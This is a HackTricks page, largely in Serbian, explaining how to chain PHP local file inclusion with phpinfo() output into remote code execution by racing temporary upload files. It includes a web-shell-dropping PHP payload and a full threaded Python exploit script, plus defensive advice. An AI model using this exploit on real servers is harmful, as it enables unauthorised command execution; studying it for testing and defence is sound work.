LFI to RCE via PHPInfo

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Da biste iskoristili ovu tehniku, potrebni su vam svi sledeći uslovi:

  • Dostupna stranica koja ispisuje izlaz phpinfo().
  • Local File Inclusion (LFI) primitiv koji kontrolišete (npr. include/require na korisnički unos).
  • Omogućeni PHP file uploads (file_uploads = On). Bilo koji PHP skript prihvatiće RFC1867 multipart upload i kreirati privremeni fajl za svaki poslani deo.
  • PHP proces mora moći da piše u konfigurisan upload_tmp_dir (ili podrazumevani sistemski temp direktorijum), i vaš LFI mora moći da uključi tu putanju.

Classic write-up and original PoC:

  • Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
  • Originalni naziv PoC skripte: phpinfolfi.py (pogledajte whitepaper i mirror-e)

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Napomene o originalnom PoC-u

  • Izlaz phpinfo() je HTML-enkodiran, pa strelica “=>” često izgleda kao “=>”. Ako ponovo koristite legacy skripte, obavezno da traže oba enkodiranja pri parsiranju vrednosti _FILES[tmp_name].
  • Morate prilagoditi payload (vaš PHP kod), REQ1 (zahtev ka phpinfo() endpointu uključujući padding), i LFIREQ (zahtev ka vašem LFI sinku). Neki targeti ne zahtevaju null-byte (%00) terminator i modernije PHP verzije ga možda neće poštovati. Prilagodite LFIREQ u skladu sa ranjivim sinkom.

Primer sed komande (samo ako zaista koristite stari Python2 PoC) za poklapanje HTML-enkodirane strelice:

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

Teorija

  • Kada PHP primi multipart/form-data POST sa poljem za fajl, upisuje sadržaj u privremeni fajl (upload_tmp_dir ili OS default) i izlaže putanju u $_FILES[‘’][‘tmp_name’]. Fajl se automatski uklanja na kraju zahteva osim ako nije premješten/ preimenovan.
  • Trik je da saznate privremeno ime i uključite ga preko vašeg LFI pre nego što PHP to obriše. phpinfo() ispisuje $_FILES, uključujući tmp_name.
  • Udužavanjem headera/parametara zahteva (padding) možete prouzrokovati da rani delovi izlaza phpinfo() budu flush-ovani ka klijentu pre nego što zahtev završi, tako da možete pročitati tmp_name dok privremeni fajl još postoji i odmah potom pogoditi LFI tom putanjom.

Na Windows-u se privremeni fajlovi obično nalaze negde poput C:\Windows\Temp\php*.tmp. Na Linux/Unix sistemima obično su u /tmp ili u direktorijumu podešenom u upload_tmp_dir.

Šta proveriti u phpinfo() pre trke

Pre nego što pošaljete hiljade zahteva, izdvojite vrednosti koje odlučuju da li je trka realistična:

  • file_uploads: mora biti On.
  • upload_tmp_dir: ako je podešen, to je direktorijum koji vaš LFI mora moći da uključi. Ako je prazan, očekujte sistemski default temp direktorijum.
  • open_basedir: ako je omogućen, vaša ranjiva include putanja i dalje mora moći da dopre do temp direktorijuma prikazanog u tmp_name.
  • output_buffering: 4096 je česta/podrazumevana veličina i zato mnogi PoCs čitaju u 4KB delovima, ali ova vrednost može da varira.
  • zlib.output_compression, output_handler, i bilo koje framework-level bufferovanje: ovo smanjuje šansu da tmp_name vidite dovoljno rano.
  • Server API: korisno za procenu koliko bufferovanja može postojati između PHP i vas (apache2handler je obično lakše razaznati nego fpm-fcgi iza reverse proxy).

Ako stranica ne prikazuje $_FILES, uverite se da zaista šaljete multipart/form-data zahtev sa stvarnim file delom. PHP popunjava tmp_name samo za upload polja koja su parsirana.

Tok napada (korak po korak)

  1. Pripremite mali PHP payload koji brzo postavi shell kako biste izbegli gubitak trke (pisanje fajla je generalno brže od čekanja reverse shell-a):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. Pošaljite veliki multipart POST direktno na phpinfo() stranicu tako da ona kreira privremenu datoteku koja sadrži vaš payload. Napumpajte razne headers/cookies/params sa ~5–10KB paddinga da podstaknete rani output. Uverite se da ime polja forme odgovara onome što ćete parsirati u $_FILES.

  2. Dok se odgovor phpinfo() još uvek streamuje, parsirajte delimično telo da izvučete $_FILES[‘’][‘tmp_name’] (HTML-encoded). Čim dobijete puni apsolutni put (npr. /tmp/php3Fz9aB), pokrenite vaš LFI da include-uje taj put. Ako include() izvrši privremenu datoteku pre nego što bude obrisana, vaš payload se izvršava i ispušta /tmp/.p.php.

  3. Iskoristite ispuštenu datoteku: GET /vuln.php?include=/tmp/.p.php&x=id (ili gde god vaš LFI dozvoljava inclusion) da pouzdano izvršavate komande.

Saveti

  • Koristite više paralelnih radnika da povećate šanse za pobedu u trci.
  • Pozicije paddinga koje obično pomažu: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Podesite prema targetu.
  • Ako ranjivi sink dodaje ekstenziju (npr. .php), ne treba vam null byte; include() će izvršiti PHP bez obzira na ekstenziju privremene datoteke.

Minimal Python 3 PoC (socket-based)

The snippet below focuses on the critical parts and is easier to adapt than the legacy Python2 script. Customize HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.

#!/usr/bin/env python3
import re, html, socket, threading

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")

pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")


def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok

if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]

Otklanjanje problema

  • Nikada ne vidite tmp_name: Uverite se da zaista šaljete POST multipart/form-data na phpinfo(). phpinfo() prikazuje $_FILES samo kada je bilo prisutno polje za upload.
  • tmp_name se pojavljuje tek na samom kraju odgovora: Ovo je obično problem buffera, a ne problem verzije PHP-a. Velike vrednosti output_buffering, zlib.output_compression, userland output handlers, ili reverse-proxy/FastCGI buffering mogu odložiti telo phpinfo() sve dok upload zahtev skoro ne bude završen.
  • Pouzdano streamovanje dobijate samo u laboratoriji, ne preko pravog sajta: CDN, WAF, ili reverse proxy može buffovati upstream odgovor. Ako imate više ruta do iste aplikacije, preferirajte najdirektniji origin put.
  • Klasična logika offseta od 4096 bajta promašuje leak: Tretirajte 4096 kao polaznu tačku izvedenu iz uobičajenih default vrednosti output_buffering, a ne kao univerzalnu konstantu. Parsirajte inkrementalno i zaustavite se čim tmp_name bude kompletan.
  • Privremeni fajl je uključen ali vaša shell odmah umre: Koristite mali stager koji zapisuje drugi fajl, jer će uploadovani temp fajl i dalje biti obrisan kada originalni zahtev završi.
  • Output se ne flushuje ranije: Povećajte padding, dodajte više velikih header-a, ili pošaljite više konkurentnih zahteva. Neki SAPI/baferi neće flushovati dok se ne dostignu veće granice; prilagodite se tome.
  • LFI putanja blokirana open_basedir ili chroot: Morate usmeriti LFI na dozvoljenu putanju ili preći na drugi LFI2RCE vektor.
  • Temp direktorijum nije /tmp: phpinfo() ispisuje punu apsolutnu tmp_name putanju; koristite upravo tu putanju u LFI.

Praktične napomene za moderne stackove

  • Ova tehnika je i dalje reproducibilna u modernim laboratorijskim okruženjima; na primer, Vulhub održava demonstrator na PHP 7.2. U praksi, uspeh obično više zavisi od output buffering-a i proxy-inga nego od phpinfo-specifičnog nivoa zakrpe.
  • flush() i implicit_flush utiču samo na PHP-ov sopstveni output layer. Ne garantuju da će FastCGI gateway, reverse proxy, browser, ili posrednik odmah pustiti delimične delove odgovora.
  • Ako je target fpm-fcgi iza Nginx/Apache proxy-ja, razmišljajte u slojevima: PHP buffer, PHP output handlers/compression, FastCGI buffering, potom proxy buffering. Race radi samo ako dovoljno dela phpinfo() odgovora izmakne tom lancu pre nego što gašenje zahteva obriše temp fajl.

Odbrambene napomene

  • Nikada ne izlažite phpinfo() u produkciji. Ako je neophodno, ograničite pristup po IP/auth i uklonite nakon upotrebe.
  • Držite file_uploads onemogućenim ako nije potreban. U suprotnom, ograničite upload_tmp_dir na putanju koju include() u aplikaciji ne može dohvatiti i primenite strogu validaciju za sve include/require putanje.
  • Tretirajte svaki LFI kao kritičan; čak i bez phpinfo(), postoje drugi LFI→RCE putevi.

Povezane HackTricks tehnike

LFI2RCE Via temp file uploads

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

LFI2RCE via Nginx temp files

LFI2RCE via Eternal waiting

Reference

  • LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
  • PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
  • PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
  • Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks